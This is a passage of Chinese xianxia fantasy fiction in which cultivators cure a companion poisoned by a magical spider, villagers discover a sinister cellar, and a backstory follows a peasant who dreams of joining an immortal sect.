顾桃心被揪得紧紧的,声音很低,“阿声,你还有力气么?我检查不出她是被什么东西控住了,你想想法子……”看似询问,实则带着哀求。
离声连忙点头,也不想知道到底发生了什么,梦儿的模样太让人担心了。
她刚靠过去,君梦突然暴起,龇着牙就想咬她。
陆以乐手疾眼快把离声往回拉了一把。
顾桃也适时收紧怀抱,低声安抚着脱了力还不停挣扎的妮子。
离声张了张嘴却没出声,现在问才能也没用,她自己得先静下来好好想,梦儿需要她!
思考片刻后,离声取出一只小绿瓶,往手心倒出两粒丹丸。
正要喂给她吃下,又见君梦折腾得愈发厉害,似乎是她的靠近会更加激怒她。
陆以乐也看出来点什么,说道:“把药给我,我来喂,你不能过去了。”
离声摇头,她看到君梦被一缕不显眼的透明雾气缠绕,她需要将自己的灵力一并渡过去,才能知道她身上到底有什么。
她想起华凤师尊的教导,立刻调动周身的灵力聚于掌中,以念力托起丹丸送进君梦张开的嘴里,亲眼见着君梦吞咽,这才闭上眼仔细感受。
是噬骨迷蛛,这邪恶的东西是最近几年才被邪修培养出来的,通常是用来提炼成无色无味的蛊水害人。一旦有人中招,就会立刻变成噬血噬肉的怪物。
但相应的,它需要蛛茧的指引,才能准确对目标下手。
那么她自己身上,一定有一颗珠茧。
离声站起身,在自己周身上下摸索。
果不其然,在腰带内侧翻找出薄薄半片茧叶。
“是这个,快烧了它!”
离声厉声说道,将茧叶递到陆以乐手中。
陆以乐一看这是有人故意设陷,想让她们自相残杀,当即气得咬牙切齿,立刻在掌心唤出一团离火,“滋”地一声,小小茧叶便化作灰烬。
君梦体内的清灵散也在发挥药效,只见她额头冒出许多汗珠,那条透明雾气亦随之在离声眼中消散。
虽然她模样还虚弱不已,但好在平复下来了,眼中戾气尽褪,瞳仁也开始重新聚焦。
君梦最先感受到身子被暖暖的气息包裹着,她疲惫地抬起眼皮往上轻移。
是桃哥,他来了……
君梦一见他,便委屈得小嘴一瘪,哑声哭道:“你、你怎么…才来……”
“你来的这么迟……我差点、差点被人煮了……!”
顾桃看她总算恢复正常,揪着的心才算稍微松落了些。
可听了她的话转念又想,能让她委屈成这副可怜巴巴的模样,该是吃了多少苦头?!!
等她睡着了,非要去把路子真那坨死东西狠狠鞭上一鞭!
“是我的错,都怪我不好!”
他疼得鼻头一酸,将自己下巴贴在她额头上,搂得更紧了。
……
天亮了,村子被折腾了半夜,大多数人都还躲在屋里,心惊胆战地趁机休息。
顾桃那一掌不重,否则村民们不可能只是轻伤。
几个胆大且好奇心爆棚的妇人偷摸摸出了屋,想拼凑、猜测一下事情经过。
她们结伴沿着痕迹摸进了臭哄哄的地窖,捂着鼻子点燃油灯。
入眼皆是诡异、凌乱:石床上散落着断链
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;黑漆漆的石锅倒扣在地面;墙角挂着一支干枯但不知道是什么兽的利爪;周围还摆放着不少看起来就很厉害的东西,倒像是道人使用的法器。
地上黑袋子湿哒哒的,有个妇人目光被吸引,独自走上前打开了它。
“啊———!!!”
……
雪窝里的村子是搬迁新建的,他们原本都是守墓人,但自从那片土地被鬼物霸占,村里人就吃尽了苦头。
没办法,他们只是普通人,为了生存,必须舍弃自己土生土长的地方。
谁让他们村不争气呢,得不到采选仙使的青睐。
路野牛是在长辈们对老村子的怀念和恐惧的口述中长大的。
听着他们形容的恶妖恶鬼,和亲眼所见被小山精破坏的农田,让他从小就对修仙者产生了极大的崇拜。
他的记忆里其实只见过两次传说中的仙使,一次是十一岁,一次是三十三岁。
他们自林中踏雪而来,高高在上,衣袂如云,周身灵光流转,言行皆带着威严。
一切的一切,都让他倾慕不已。
采选结束,仙使摇着头就要离开。
路野牛强烈的觉得应该做点什么,于是他跪在地上拼命磕头,恳求仙使收下他。
采选使者蹙起眉头,转身前只留下一句:“凡骨难雕,无缘仙道。”
这句轻飘飘的话压得他一厥不振,更是成为了村中娃娃们传唱的歌谣。
直到父母离世后,他才下定决心要离开村子。
他要自行出世求道修仙,他不信自己闯不出一条道来!
仙剑城内繁华热闹,大小门派众多。
他一个刚进城的乡下人,说话行为畏缩土气,不停被人嘲讽驱赶。
为了饱腹,他挨门挨店的乞求着,才在一家巷子内的小酒馆,得到一份打杂倒泔水的营生。
半年时间里,忙时抽空偷学客人们举止谈吐,闲时偷穿掌柜没有补丁的衣服继续蹲守各门各派,以求一段机缘。
他很聪明,进步很快,短短时间抛掉那些山里人的粗鄙后,渐渐也就不那么招人反感了。
但从中到小再到低,没有一处门派肯收留他。因为他完全不具备修仙的基本条件,收他入门就意味着,他们要养一个毫无用处、只会浪费粮食的废物。
赤炎宗,占据城中心最优质的地段,单单一个门面都比城内最豪华的酒楼还要奢侈,进出的弟子们穿着他这辈子都不敢想象的贵重华服。
这是他站得远远仰望都不敢多看几眼的地方,似乎只是被他这样的底层人遥想,都会令它蒙尘。
他的机会来得很巧。
那个胖道长是在星泉观里掌管吃食的都厨,此时正邋里邋遢、独自在溪边烤着一只小瘦鸡。
路野牛当时也在溪边锤洗破衫,他瞟了一眼这胖道长身上的穿着,竟比他还寒酸!他低下头撇了撇嘴。
胖道长也不理会他,哼着小曲给小瘦鸡翻了个面,脏兮兮的胖手手捏碎一把不知名的草叶,挤出汁水淋在鸡肉上,然后把手伸进溪里荡了荡。
那绿油油的草汁顺着浅溪就流到了路野牛的破衫上。
他一时气结,人人都瞧不起他,连这破叫花子也欺负他!!